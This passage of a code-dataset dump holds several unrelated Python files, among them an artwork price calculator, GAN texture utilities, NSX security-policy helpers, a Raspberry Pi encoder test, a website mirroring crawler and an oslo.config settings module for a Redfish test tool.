\\\n 'A4' : (21.0, 29.7), \\\n 'A5' : (14.8, 21.0), \\\n 'A6' : (10.5, 14.8), \\\n 'A7' : (7.4, 10.5), \\\n 'A8' : (5.2, 7.4), \\\n 'A9' : (3.7, 5.2), \\\n 'A10' : (2.6, 3.7) }\n\n\ndef get_din_a_dimensions(dimensionStr):\n # Look up and return dimensions\n return din_a_formats[dimensionStr.upper()]\n\n\ndef is_din_a_format(dimensionStr):\n # Check for valid DIN A format\n return 'A' in dimensionStr.upper() and \\\n len(dimensionStr) >= 2 and \\\n len(dimensionStr) <= 3\n\n\ndef is_dimension_definition(dimensionStr):\n # Check for valid dimension definition format\n return 'X' in dimensionStr.upper() and \\\n len(dimensionStr) >= 3\n\n\ndef parse_dimensions(dimensionStr):\n dimensionStr = dimensionStr.strip()\n dimensionStr = dimensionStr.replace(' ', '')\n res = (dimensionStr.upper().split('X'))\n return (float(res[0]), float(res[1]))\n\ndef get_dimensions(log, dimensionStr):\n # Check for valid DIN A format\n isDinA = is_din_a_format(dimensionStr)\n isDimension = is_dimension_definition(dimensionStr)\n\n if not isDinA and not isDimension:\n errorMsg = dimensionStr + ' is not a valid dimension format!'\n log.error(errorMsg)\n raise ValueError(errorMsg)\n elif isDinA:\n return get_din_a_dimensions(dimensionStr)\n else:\n return parse_dimensions(dimensionStr)\n\n\ndef calculate_price(log, width, height, factor):\n log.debug('Width: ' + str(width))\n log.debug('Height: ' + str(height))\n log.debug('Factor: ' + str(factor))\n\n price = (width + height) * factor\n\n return price\n\n\n#####################################\n#\n# Module integration\n#\n#####################################\n#\n# Functions\n# ---------\n#\n# setup_args(parser)\n# Adds arguments to the args parser\n#\n# get_name()\n# Return the module's name\n#\n# get_info()\n# Return the module's info string\n#\n# check_options(log, options)\n# Return True if main function can be run, depending on the command line arguments. If not dependent on any arguments, just return True\n# logger object and command line options dictionary are passed\n#\n# check_additional_options(log, options)\n# Return True if all arguments are not only set, but also make sense\n# logger object and command line options dictionary are passed\n#\n# run(log, options)\n# Main function where all the magic's happening.\n# logger object and command line options dictionary are passed\n\n\n# Add command line arguments for this script to args parser\ndef setup_args(optGroup):\n optGroup.add_option('--artworkprice', action='store_true', dest='artworkprice', help=SCRIPTINFO)\n\n\n# Return True if args/options tell us to run this module\ndef check_options(log, options, args):\n return options.artworkprice is not None and options.artworkprice == True\n\n\n# Checks additional arguments and prints error messages\ndef check_additional_options(log, options, args):\n return True\n\n\n# Return module name\ndef get_name():\n return SCRIPTTITLE + ' ' + SCRIPTVERSION\n\n\n# Return module info\ndef get_info():\n return SCRIPTINFO\n\n\n# Perform Encryption test\ndef run(log, options, args):\n # Welcome\n log.info(get_name())\n print('')\n\n # Parse args\n artFactor = 6.0\n artworkDimensions = ''\n\n for argIndex, arg in enumerate(args):\n arg = arg.upper()\n\n if (arg[0] == 'D' or arg[:10] == 'DIMENSIONS') and '=' in arg:\n artworkDimensions = arg.split('=')[1]\n elif (arg[0] == 'F' or arg[:6] == 'FACTOR') and '=' in arg:\n artFactor = float(arg.split('=')[1])\n elif arg == 'HELP':\n print(SCRIPT_HELP)\n print('')\n else:\n if argIndex == 0:\n artworkDimensions = arg\n elif argIndex == 1:\n artFactor = float(arg)\n\n # Cancel if no size specified\n if artworkDimensions == '':\n log.error('You have to specify a size for the artwork (e.g. \"A4\" or \"40x30\")!')\n print('')\n sys.exit()\n\n # Make sure we have a valid dimensions definition\n (artWidth, artHeight) = get_dimensions(log, artworkDimensions)\n sizeStr = artworkDimensions\n if is_din_a_format(sizeStr):\n sizeStr = sizeStr + ' (' + str(artWidth) + ' x ' + str(artHeight) + ' cm)'\n\n # Here we go\n log.info('Calculating sales price for artwork of size ' + sizeStr + ' with factor ' + str(artFactor))\n print('')\n log.info('Sell the artwork for ' + str(calculate_price(log, artWidth, artHeight, artFactor)) + ' EUR')\n print('')\n","sub_path":"modules/artworkprice.py","file_name":"artworkprice.py","file_ext":"py","file_size_in_byte":5920,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"333376242","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Aug 30 11:54:17 2018\n\n@author: elaloy\n\"\"\"\nimport os\nimport numpy as np\nfrom PIL import Image\nfrom PIL.Image import FLIP_LEFT_RIGHT\nimport torch\nimport torch.nn.functional as F\nfrom matplotlib import pyplot as plt\n\nnp.set_printoptions(precision=3)\ntorch.set_printoptions(precision=3)\n\n\ndef image_to_tensor(img):\n # tensor = np.array(img).transpose( (2,0,1) )\n # tensor = tensor / 128. - 1.\n i_array = np.array(img)\n if len(i_array.shape) == 2:\n i_array = i_array.reshape((i_array.shape[0], i_array.shape[1], 1))\n tensor = i_array.transpose((2, 0, 1))\n tensor = tensor / 128 - 1.0\n tensor = tensor * 0.9\n return tensor\n\n\ndef tensor_to_2Dimage(tensor):\n img = np.array(tensor).transpose((1, 2, 0))\n img = (img + 1.) * 128.\n return np.uint8(img)\n\n\ndef get_texture2D_iter(folder, npx=128, npy=128, batch_size=64, filter=None, mirror=False, n_channel=1):\n HW1 = npx\n HW2 = npy\n imTex = []\n files = os.listdir(folder)\n for f in files:\n name = folder + f\n try:\n img = Image.open(name)\n imTex += [image_to_tensor(img)]\n if mirror:\n img = img.transpose(FLIP_LEFT_RIGHT)\n imTex += [image_to_tensor(img)]\n except:\n print(\"Image \", name, \" failed to load!\")\n\n while True:\n data = np.zeros((batch_size, n_channel, npx, npx))\n for i in range(batch_size):\n ir = np.random.randint(len(imTex))\n imgBig = imTex[ir]\n if HW1 < imgBig.shape[1] and HW2 < imgBig.shape[2]:\n h = np.random.randint(imgBig.shape[1] - HW1)\n w = np.random.randint(imgBig.shape[2] - HW2)\n img = imgBig[:, h:h + HW1, w:w + HW2]\n else:\n img = imgBig\n data[i] = img\n\n yield data\n\n\n# For testing purposes only\nif __name__ == \"__main__\":\n # texture_dir = 'C:/Users/Fleford/PycharmProjects/gan_for_gradient_based_inv/training/ti/'\n texture_dir = 'ti/'\n data_iter = get_texture2D_iter(texture_dir)\n device = \"cuda:1\"\n size = 8\n presize = 2 * size\n\n for data in data_iter:\n data_tensor = torch.Tensor(data).to(device)\n data_tensor = F.interpolate(data_tensor, (presize, presize), mode='bilinear', align_corners=False)\n data_resize = F.interpolate(data_tensor, (size, size), mode='bilinear', align_corners=False)\n disp_data = data_resize.to(\"cpu\")\n plt.matshow(disp_data[0, 0])\n plt.show()\n breakpoint()","sub_path":"3D_Latent_Space_GAN_cuda1/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2555,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"103248712","text":"# -*- coding: utf-8 -*-\nimport sys\nfrom accueil import EcranAccueil\nfrom PyQt4 import QtGui\n \ndef main():\n app = QtGui.QApplication(sys.argv)\n main=EcranAccueil()\n main.showMaximized()\n sys.exit(app.exec_())\n \nif __name__ == \"__main__\":\n main()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":267,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"247646794","text":"# Copyright (c) 2016 GigaSpaces Technologies Ltd. All rights reserved\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\nimport nsx_common as common\nfrom cloudify import exceptions as cfy_exc\n\n\ndef get_policy(client_session, name):\n raw_result = client_session.read('securityPolicyID',\n uri_parameters={'ID': \"all\"})\n\n common.check_raw_result(raw_result)\n\n if 'securityPolicies' not in raw_result['body']:\n return None, None\n\n policies = raw_result['body']['securityPolicies'].get('securityPolicy', [])\n\n if not policies:\n return None, None\n\n if isinstance(policies, dict):\n policies = [policies]\n\n for policy in policies:\n if policy.get('name') == name:\n return policy.get('objectId'), policy\n\n return None, None\n\n\ndef add_policy(client_session, name, description, precedence, parent,\n securityGroupBinding, actionsByCategory):\n\n security_policy = {\n 'securityPolicy': {\n \"name\": name,\n \"description\": description,\n \"precedence\": precedence,\n \"parent\": parent,\n \"securityGroupBinding\": securityGroupBinding,\n \"actionsByCategory\": actionsByCategory\n }\n }\n\n raw_result = client_session.create(\n 'securityPolicy', request_body_dict=security_policy\n )\n\n common.check_raw_result(raw_result)\n\n return raw_result['objectId']\n\n\ndef add_policy_group_bind(client_session, security_policy_id,\n security_group_id):\n\n raw_result = client_session.read(\n 'securityPolicyID', uri_parameters={'ID': security_policy_id}\n )\n\n common.check_raw_result(raw_result)\n\n security_policy = raw_result['body']\n\n bindings = security_policy['securityPolicy'].get(\n 'securityGroupBinding', []\n )\n\n if isinstance(bindings, dict):\n bindings = [bindings]\n\n for bind in bindings:\n if bind.get('objectId') == security_group_id:\n raise cfy_exc.NonRecoverableError(\n \"Group %s already exists in %s\" % (\n security_group_id,\n security_policy['securityPolicy']['name']\n )\n )\n\n bindings.append({'objectId': security_group_id})\n\n security_policy['securityPolicy']['securityGroupBinding'] = bindings\n\n raw_result = client_session.update(\n 'securityPolicyID', uri_parameters={'ID': security_policy_id},\n request_body_dict=security_policy\n )\n\n common.check_raw_result(raw_result)\n\n return \"%s|%s\" % (security_group_id, security_policy_id)\n\n\ndef add_policy_section(client_session, security_policy_id, category, action):\n raw_result = client_session.read(\n 'securityPolicyID', uri_parameters={'ID': security_policy_id}\n )\n\n common.check_raw_result(raw_result)\n\n security_policy = raw_result['body']\n\n actionsByCategory = security_policy['securityPolicy'].get(\n 'actionsByCategory', []\n )\n\n if isinstance(actionsByCategory, dict):\n actionsByCategory = [actionsByCategory]\n\n for actions in actionsByCategory:\n if actions.get('category') == category:\n actions['action'] = action\n break\n else:\n actionsByCategory.append({\n 'category': category,\n 'action': action\n })\n\n security_policy['securityPolicy']['actionsByCategory'] = actionsByCategory\n\n raw_result = client_session.update(\n 'securityPolicyID', uri_parameters={'ID': security_policy_id},\n request_body_dict=security_policy\n )\n\n common.check_raw_result(raw_result)\n\n return \"%s|%s\" % (category, security_policy_id)\n\n\ndef del_policy_section(client_session, resource_id):\n category, security_policy_id = resource_id.split(\"|\")\n\n raw_result = client_session.read(\n 'securityPolicyID', uri_parameters={'ID': security_policy_id}\n )\n\n common.check_raw_result(raw_result)\n\n security_policy = raw_result['body']\n\n actionsByCategory = security_policy['securityPolicy'].get(\n 'actionsByCategory', []\n )\n\n if isinstance(actionsByCategory, dict):\n actionsByCategory = [actionsByCategory]\n\n for actions in actionsByCategory:\n if actions.get('category') == category:\n actionsByCategory.remove(actions)\n break\n else:\n return\n\n security_policy['securityPolicy']['actionsByCategory'] = actionsByCategory\n\n raw_result = client_session.update(\n 'securityPolicyID', uri_parameters={'ID': security_policy_id},\n request_body_dict=security_policy\n )\n\n common.check_raw_result(raw_result)\n\n\ndef del_policy_group_bind(client_session, resource_id):\n\n security_group_id, security_policy_id = resource_id.split(\"|\")\n\n raw_result = client_session.read(\n 'securityPolicyID', uri_parameters={'ID': security_policy_id}\n )\n\n common.check_raw_result(raw_result)\n\n security_policy = raw_result['body']\n\n bindings = security_policy['securityPolicy'].get(\n 'securityGroupBinding', []\n )\n\n if isinstance(bindings, dict):\n bindings = [bindings]\n\n for bind in bindings:\n if bind.get('objectId') == security_group_id:\n bindings.remove(bind)\n break\n else:\n return\n\n security_policy['securityPolicy']['securityGroupBinding'] = bindings\n\n raw_result = client_session.update(\n 'securityPolicyID', uri_parameters={'ID': security_policy_id},\n request_body_dict=security_policy\n )\n\n common.check_raw_result(raw_result)\n\n\ndef del_policy(client_session, resource_id):\n\n client_session.delete('securityPolicyID',\n uri_parameters={'ID': resource_id},\n query_parameters_dict={'force': 'true'})\n","sub_path":"cloudify_nsx/library/nsx_security_policy.py","file_name":"nsx_security_policy.py","file_ext":"py","file_size_in_byte":6282,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"471013507","text":"#automatically rotate the wheel for one rotation and test the encoder\nimport RPi.GPIO as gpio\nimport time\nimport numpy as np\n\ndef init():\n gpio.setmode(gpio.BOARD)\n gpio.setup(31,gpio.OUT) #IN1\n gpio.setup(33,gpio.OUT) #IN2\n gpio.setup(35,gpio.OUT) #IN3\n gpio.setup(37,gpio.OUT) #IN4\n #right back wheel encoder\n gpio.setup(12,gpio.IN,pull_up_down = gpio.PUD_UP)\n #left front wheel encoder\n gpio.setup(7,gpio.IN,pull_up_down = gpio.PUD_UP)\n\ndef gameover():\n gpio.output(31,False)\n gpio.output(33,False)\n gpio.output(35,False)\n gpio.output(37,False)\n gpio.cleanup()\n\n#MAIN CODE\n \ninit()\n\nBack_Right_counter = np.uint64(0)\nFront_Left_counter = np.uint64(0) \nbuttonBR = int(0)\nbuttonFL = int(0)\n\n#initialize pwm signal to control motor\n\npwm = gpio.PWM(37,50)\nval = 16\npwm.start(val)\ntime.sleep(0.1)\n\nlist_of_gpioBR = []\nlist_of_gpioFL = []\nfor i in range(0,200000000):\n # time.sleep(0.05)\n print(\"Back_Right_counter = \",Back_Right_counter,\"GPIO state at Pin 12: \",gpio.input(12))\n print(\"Front_Left_counter = \",Front_Left_counter,\"GPIO state at Pin 7: \",gpio.input(7))\n list_of_gpioBR.append(gpio.input(12))\n list_of_gpioFL.append(gpio.input(7))\n if int (gpio.input(12)) != int(buttonBR):\n buttonBR = int(gpio.input(12))\n # buttonFL = int(gpio.input(7))\n Back_Right_counter+= 1\n # Front_Left_counter+=1\n\n if int (gpio.input(7)) != int(buttonFL):\n buttonFL = int(gpio.input(7))\n Front_Left_counter+=1\n\n\n if Back_Right_counter>=20:\n pwm.stop()\n gameover()\n print(\"THANKS\")\n # gpio.cleanup()\n break\n\nfile = open('BR_gpio_states.txt','w')\nfor i in list_of_gpioBR:\n file.write(str(i))\n file.write('\\n')\nfile.close()\n\n\nfile = open('FL_gpio_states.txt','w')\nfor i in list_of_gpioFL:\n file.write(str(i))\n file.write('\\n')\nfile.close()\n","sub_path":"Lectures/Lec5_6_7_Locomotion/encodercontrol03.py","file_name":"encodercontrol03.py","file_ext":"py","file_size_in_byte":1886,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"117776058","text":"import time\nimport re\nimport os\nimport random\nfrom io import open as iopen\nfrom urllib.parse import urlparse, urlsplit\nimport requests\nfrom bs4 import BeautifulSoup\nimport click\n\n@click.command()\n@click.option('--wait', default=0, help='Number of seconds to wait between requests. -1 for random', type=int)\n@click.option('--path', default='.', help=\"Local path to store files. NO trailing slash!\")\n@click.option('--subdomains', is_flag=True) # not implemented yet\n@click.option('--url', required=True, type=str, help='URL of site to mirror')\n@click.option('--replace_urls_str', type=str, help='Comma delimited list of URLs to replace with relative.')\n@click.option('--debug', is_flag=True, default=False)\n\ndef mirror(wait, subdomains, url, replace_urls_str, path, debug):\n replace_urls = replace_urls_str.split(',')\n if debug:\n print(f\"Replace urls: {replace_urls}\")\n followed_links = []\n if path[-1] == '/':\n if debug:\n print(\"No trailing slash in path!\")\n return\n if not replace_urls:\n replace_urls = [url]\n url_netloc = urlparse(url).netloc\n url_scheme = urlparse(url).scheme\n url_queue = [url]\n while url_queue:\n if debug:\n print(f\"followed: {len(followed_links)}, queue: {len(url_queue)}\")\n get_url = url_queue.pop(0)\n parsed_get_url = urlparse(get_url)\n if debug:\n print(parsed_get_url)\n if parsed_get_url.path == '/': # Skip\n continue\n if not parsed_get_url.netloc: #relative link\n new_get_url = url_scheme + '://' + url_netloc + '/' + get_url\n elif ((not parsed_get_url.scheme) or (parsed_get_url.scheme not in ['http', 'https'])): #missing scheme\n new_get_url = url_scheme + '://' + parsed_get_url.netloc + '/' + parsed_get_url.path\n else:\n new_get_url = get_url\n page = requests.get(new_get_url, allow_redirects=True)\n # Wait\n if (wait != 0) and (wait != -1):\n time.sleep(wait)\n elif wait == -1:\n time.sleep(random.random()*2)\n if page.status_code != 200:\n continue\n page_url = page.url\n content_type = page.headers.get('content-type')\n if 'html' not in content_type:\n # Just download it and store it\n store_page(page, page_url, path, debug)\n else:\n soup = BeautifulSoup(page.text, 'html.parser')\n links = soup.find_all('a')\n links = links + soup.find_all('link')\n images = soup.find_all('img')\n img_srcs = []\n for image in images:\n img_srcs.append(image.get('src'))\n scripts = soup.find_all('script')\n script_srcs = []\n for script in scripts:\n script_srcs.append(script.get('src'))\n links = links + img_srcs + script_srcs\n url_queue = process_links(\n queue=url_queue,\n url=page_url,\n links=links,\n followed=followed_links)\n new_page = soup.prettify()\n for replace_url in replace_urls:\n new_page = re.sub(replace_url, '', new_page)\n stored = store_page(new_page, page_url, path, debug)\n if stored:\n followed_links.append(get_url)\n else:\n if debug:\n print(\"Not stored!\")\n return\n return\n\ndef store_page(page, page_url, path, debug):\n # Store page \n if isinstance(page, str): # a parsed page\n page_text = page\n parsed_url = urlparse(page_url)\n full_path = parsed_url.path\n full_path = re.sub('//', '/', full_path)\n filename = full_path.split('/')[-1]\n if '.html/' in full_path: # it's a parameter, skip it, but pretend it was stored.\n return True\n if '.' not in filename: # it's a path, not a filename:\n filename = 'index.html'\n directory_path = full_path\n else:\n directory_path = full_path.rsplit('/',1)[0]\n if not directory_path:\n local_path = path + directory_path + '/' + filename\n elif directory_path[-1] != '/':\n local_path = path + directory_path + '/' + filename\n else:\n local_path = path + directory_path + filename\n\n if directory_path:\n local_directory_path = path + directory_path\n if not os.path.exists(local_directory_path):\n try:\n os.makedirs(local_directory_path, exist_ok=True)\n except OSError as e:\n if debug:\n print(f\"Couldn't make the directory! {local_directory_path}: {e}\")\n return False\n\n image_suffix_list = ['jpg', 'gif', 'png', 'jpeg']\n file_ext = filename.split('.')[-1]\n if file_ext in image_suffix_list: #image file save\n try:\n with iopen(local_path, 'wb') as f:\n f.write(page.content)\n except Exception as e:\n if debug:\n print(f\"Couldn't write file! {e}\")\n return False\n elif not isinstance(page, str): #other file save\n try:\n with open(local_path, 'w') as f:\n f.write(page.text)\n except Exception as e:\n if debug:\n print(f\"Couldn't write file! {e}\")\n return False\n else:\n try:\n with open(local_path, 'w') as f:\n f.write(page_text)\n except Exception as e:\n if debug:\n print(f\"Couldn't write file! {e}\")\n return False\n\n return True\n\ndef process_links(**kwargs):\n queue = kwargs['queue']\n for link in kwargs['links']:\n parsed_url = urlparse(kwargs['url'])\n url_netloc = parsed_url.netloc\n if not link:\n continue\n if isinstance(link, str):\n link_href = link\n else:\n link_href = link.get('href')\n parsed_link_url = urlparse(link_href)\n link_netloc = parsed_link_url.netloc\n if not link_netloc or (link_netloc == url_netloc): #relative link or same domain \n #TODO deal with subdomains\n if not isinstance(link_href,str) or '?encoding' in link_href:\n continue\n if '#' in link_href: # no internal links\n continue\n new_item = True\n for queue_item in queue:\n if queue_item == link_href:\n new_item = False\n for followed_item in kwargs['followed']:\n if followed_item == link_href:\n new_item = False\n if new_item:\n queue.append(link_href)\n\n return queue\n\nif __name__ == '__main__':\n mirror()\n","sub_path":"python_mirror.py","file_name":"python_mirror.py","file_ext":"py","file_size_in_byte":6705,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"499039995","text":"#!/usr/bin/env python3\nfrom oslo.config import cfg\nimport os.path\nimport re\n\nconf_list=['CRTT.conf','crtt.conf','../CRTT.conf','../crtt.conf',\\\n\t\t'../../CRTT.conf','../../crtt.conf']\ndef find_cfg_file():\n\tfor conf_file in conf_list:\n\t\tif os.path.isfile(conf_file):\n\t\t\treturn conf_file\n###############################################################\nrest_group = cfg.OptGroup(\n\tname='REST', \n\ttitle='RESTful group options'\n)\nrest_cfg_opts = [\n\tcfg.StrOpt(\n\t\tname='root_node',\n\t\tdefault=None,\n\t\thelp='The node url that we start to scan from'),\n\n\tcfg.StrOpt(\n\t\tname='client_name',\n\t\tdefault='redfish',\n\t\thelp='Client app name that communicates with resetful'),\n\n\tcfg.StrOpt(\n\t\tname='host',\n\t\tdefault='10.204.29.244',\n\t\thelp='The IP address of the resetful Server'),\n\n\tcfg.IntOpt(\n\t\tname='bind_port',\n\t\tdefault=8888,\n\t\thelp='Port number the server listens on.'),\n\n\tcfg.ListOpt(\n\t\tname='ver_support',\n\t\tdefault=['1'],\n\t\thelp='The ver of Redfish this app supports.'),\n\n\tcfg.ListOpt(\n\t\tname='subnode_keys',\n\t\tdefault=['@odata.id'],\n\t\thelp='The key to find child sub nodes'),\n\n\tcfg.StrOpt(\n\t\tname='client_app_ver',\n\t\tdefault='1',\n\t\thelp='The version of Client app.')\n]\n###############################################################\nmain_group = cfg.OptGroup(\n\tname='MAIN', \n\ttitle='MAIN group options'\n)\nmain_cfg_opts = [\n\tcfg.StrOpt(\n name='value_file',\n default='Value_Check/url_dict.conf',\n help='Path of comparing file'),\n cfg.IntOpt(\n name='cycle',\n default=2,\n help='cycle to execute.'),\n cfg.IntOpt(\n name='processes',\n default=2,\n help='How many processes do we have.')\n]\n##########################################################3\nlog_group = cfg.OptGroup(\n\tname='LOG', \n\ttitle='LOG group options'\n)\n\nlog_cfg_opts = [\n\n\tcfg.StrOpt(\n\tname='app_name',\n\tdefault='redfish_test',\n\thelp='APP name showed in Log'),\n\n\tcfg.StrOpt(\n\tname='logfilename',\n\tdefault='./redfish.log',\n\thelp='Log file path.'),\n\n\tcfg.StrOpt(\n\tname='mode',\n\tdefault='a',\n\thelp='specifies the mode in which the file is opened'),\n\n\tcfg.StrOpt(\n\tname='log_format',\n\tdefault=None,\n\thelp='Log format in log file.'),\n\n\tcfg.IntOpt(\n\tname='root_level',\n\tdefault=10,\n\thelp='Log level for global.'),\n\n\tcfg.IntOpt(\n\tname='ch_level',\n\tdefault=10,\n\thelp='Log level for console stream.'),\n\n\tcfg.IntOpt(\n\tname='fh_level',\n\tdefault=20,\n\thelp='Log level for file stream.'),\n\n\tcfg.StrOpt(\n\tname='html_color',\n\tdefault='color_1',\n\thelp='Choose one in LOG_COLOR, color_1 or color_2'),\n\n\tcfg.DictOpt(\n\tname='color',\n\tdefault={},\n\thelp='The main color cheme for html log, generally \\\n\t\tkeep it emtpy'),\n\n\tcfg.DictOpt(\n\tname=\"color_1\",\n\tdefault={\"err_color\": \"magenta\",\n\t\t\t\"warn_color\": \"yellow\",\n\t\t\t\"info_color\": \"white\",\n\t\t\t\"dbg_color\": \"white\"},\n\thelp='The html color scheme option1'),\n\n\tcfg.DictOpt(\n\tname=\"color_2\",\n\tdefault={\"err_color\": \"red\",\n\t\t\t\"warn_color\": \"orange\",\n\t\t\t\"info_color\": \"white\",\n\t\t\t\"dbg_color\": \"blue\"},\n\thelp='The html color scheme option2'),\n\t\n\tcfg.BoolOpt(\n\tname=\"Keyword_Italic\",\n\tdefault=True,\n\thelp='Whether the key work need to be italic in html log'),\n\n\tcfg.IntOpt(\n\tname='Keyword_FontSize',\n\tdefault=5,\n\thelp='How is the font size for keyword in html log.'),\n\n\tcfg.StrOpt(\n\tname='Keyword_tag_start',\n\tdefault='',\n\thelp='start tag to mark the keyword to be it'),\n\n\tcfg.StrOpt(\n\tname='Keyword_tag_end',\n\tdefault='',\n\thelp='end tag to mark the keyword to be it'),\n\t\n\tcfg.StrOpt(\n\tname='title',\n\tdefault='default_title',\n\thelp='The title of the html log file'),\n\n\tcfg.IntOpt(\n\tname='HtmlmaxBytes',\n\tdefault=5*1024*1024,\n\thelp='The size of the html file, keep it small\\\n\t\totherwise, it takes long time to open it in brower'),\n\n\tcfg.BoolOpt(\n\tname=\"console_log\",\n\tdefault=False,\n\thelp='Whether to print log to console'),\n\n\tcfg.BoolOpt(\n\tname=\"Html_Rotating\",\n\tdefault=True,\n\thelp='Whether to rotate the log file if it over the HtmlmaxBytes'),\n\n\tcfg.IntOpt(\n\tname='Html_backupCount',\n\tdefault=5,\n\thelp='If the \"Html_Rotating\" is open, \\\n\t\tCount of html file will be used to backup'),\n\n]\n##########################################################3\nrequest_group = cfg.OptGroup(\n\tname='REQUEST',\n\ttitle='Request options'\n)\nreq_fail_opts = [\n\tcfg.FloatOpt(\n\tname='http_time_warn',\n\tdefault= 0.4,\n\thelp='The limit of request time'),\n\n\tcfg.FloatOpt(\n\tname='http_time_error',\n\tdefault= 1.0,\n\thelp='The limit of request time'),\n\n\tcfg.FloatOpt(\n\tname='timeout',\n\tdefault= 2.0,\n\thelp='Timeout to request an URL'),\n\n\tcfg.IntOpt(\n\tname='retries',\n\tdefault=4,\n\thelp='How many times will retry after failure'),\n\n\tcfg.FloatOpt(\n\tname='delay',\n\tdefault= 1.5,\n\thelp='How long will execute the next retry'),\n\n\tcfg.IntOpt(\n\tname='backoff',\n\tdefault= 2,\n\thelp='backoff times will retry'),\n\n\tcfg.BoolOpt(\n\tname='failonerror',\n\tdefault=False,\n\thelp=\"whether we need stop if occor error\")\n]\n##########################################################3\ncli_group=cfg.OptGroup(\n\tname=\"CLI\",\n\ttitle = 'Cli options'\n)\n\ncli_opts = [\n\tcfg.IntOpt(\n\t\tname='retry',\n\t\tpositional=False,\n \thelp='How many times retryies after failure'),\n\tcfg.StrOpt(\n\t\tname='logname',\n\t\tpositional=False,\n \thelp='Location for the execution log'),\n\tcfg.StrOpt(\n\t\tname='check_file',\n\t\tpositional=False,\n \thelp='The url response data check file'),\n\tcfg.IntOpt(\n\t\tname='cycles',\n\t\tpositional=False,\n \thelp='How many times we scan the nodes'),\n\tcfg.StrOpt(\n\t\tname='time_to_stop',\n\t\tpositional=False,\n \thelp=\"The datetime we stop testing.\\nFormat: 2016-06-21 12:00:59\")\n\n]\n\nCONF = cfg.CONF\nCONF.register_group(rest_group)\nCONF.register_opts(rest_cfg_opts, rest_group)\n\nCONF.register_group(main_group)\nCONF.register_opts(main_cfg_opts, main_group)\n\nCONF.register_group(log_group)\nCONF.register_opts(log_cfg_opts, log_group)\n\nCONF.register_group(request_group)\nCONF.register_opts(req_fail_opts, request_group)\n\nCONF.register_group(cli_group)\nCONF.register_cli_opts(cli_opts, cli_group)\ntry:\n\tCONF(default_config_files=[find_cfg_file()])\nexcept AttributeError:\n\tprint(\"Can not find a proper config file, check\") \n\n#This following condition is to: find the proper color \n#which defines in CONF.LOG.color\nif CONF.LOG.html_color=='color_1':\n\t#Don't use shallow copying here\n\tCONF.LOG.color.update(CONF.LOG.color_1)\nelif CONF.LOG.html_color=='color_2':\n\tCONF.LOG.color.update(CONF.LOG.color_2)\n\n#This following condition is to: keep the user typed are working.\nif CONF.CLI.retry:\n\tCONF.REQUEST.retries= CONF.CLI.retry\nif CONF.CLI.logname:\n\tCONF.LOG.logfilename=CONF.CLI.logname\nif CONF.CLI.check_file:\n\tCONF.MAIN.value_file= CONF.CLI.check_file\nif CONF.CLI.cycles:\n\tCONF.MAIN.cycle= CONF.CLI.cycles\nif CONF.CLI.time_to_stop:\n\tif not re.search(r'(20\\d\\d)-(\\d\\d)-(\\d\\d) (\\d\\d):(\\d\\d):(\\d\\d)', \\\n\t\t\t\tCONF.CLI.time_to_stop):\n\t\tmsg=\"The date time you entered is not in the corrent format, as: 2014-12-12 08:30:59\"\n\t\traise ValueError(msg) \n\n\nif __name__ ==\"__main__\":\n\tprint('CONF.value_file',CONF.MAIN.value_file)\n\tprint('CONF.MAIN.cycle',CONF.MAIN.cycle)\n\tprint('CONF.root_node:',CONF.REST.root_node)\n\tprint('CONF.client_name:',CONF.REST.client_name)\n\tprint('CONF.bind_port:',CONF.REST.bind_port)\n\tprint('CONF.ver_support:',CONF.REST.ver_support)\n\tprint('CONF.LOG.app_name:',CONF.LOG.app_name)\n\tprint('CONF.LOG.logfilename:',CONF.LOG.logfilename)\n\tprint('CONF.LOG.log_format:',CONF.LOG.log_format)\n\tprint('CONF.LOG.root_level:',CONF.LOG.root_level)\n\tprint('CONF.LOG.ch_level:',CONF.LOG.ch_level)\n\tprint('CONF.LOG.fh_level:',CONF.LOG.fh_level)\n\tprint('CONF.REQUEST.http_time_error:',CONF.REQUEST.http_time_error)\n\tprint('CONF.REQUEST.http_time_warn:',CONF.REQUEST.http_time_warn)\n\tprint('CONF.REQUEST.retries:',CONF.REQUEST.retries)\n\tprint('CONF.REQUEST.delay:',CONF.REQUEST.delay)\n\tprint('CONF.REQUEST.backoff:',CONF.REQUEST.backoff)\n\tprint('CONF.REQUEST.failonerror:',CONF.REQUEST.failonerror)\n\tprint('CONF.CLI.time_to_stop:',CONF.CLI.time_to_stop)\n\tprint(\"\"\"CONF.LOG.color:\"\"\",CONF.LOG.color)\n","sub_path":"CRTT/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":7902,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"35474001","text":"# -*- coding: utf-8 -*-\nimport datetime\nimport decimal\nimport io\nimport os\nimport re\nimport zipfile\n\nfrom PIL import Image\nfrom lxml import etree\n\nfrom Scripts.ex.DB_sync_DM2015 import sync\n\n# отключаем предупреждения о большом объёме снимка\nImage.MAX_IMAGE_PIXELS = None\n\n# переменные каталогов\n# src_dir = r\"U:\\PRJ\\2015\\T3\\Финальный Диск 2\\Disk 03. Vostsiblesproekt (Krasnojarskij kraj)\\DG\\images\"\n# src_dir = r\"U:\\PRJ\\2015\\T3\\Финальный Диск 2\\Disk 03. Vostsiblesproekt (Krasnojarskij kraj)\\TH-1\\images\"\n# src_dir = r\"U:\\PRJ\\2015\\T3\\Финальный Диск 2\\Disk 03. Vostsiblesproekt (Krasnojarskij kraj)\\BKA\\images\"\n# src_dir = 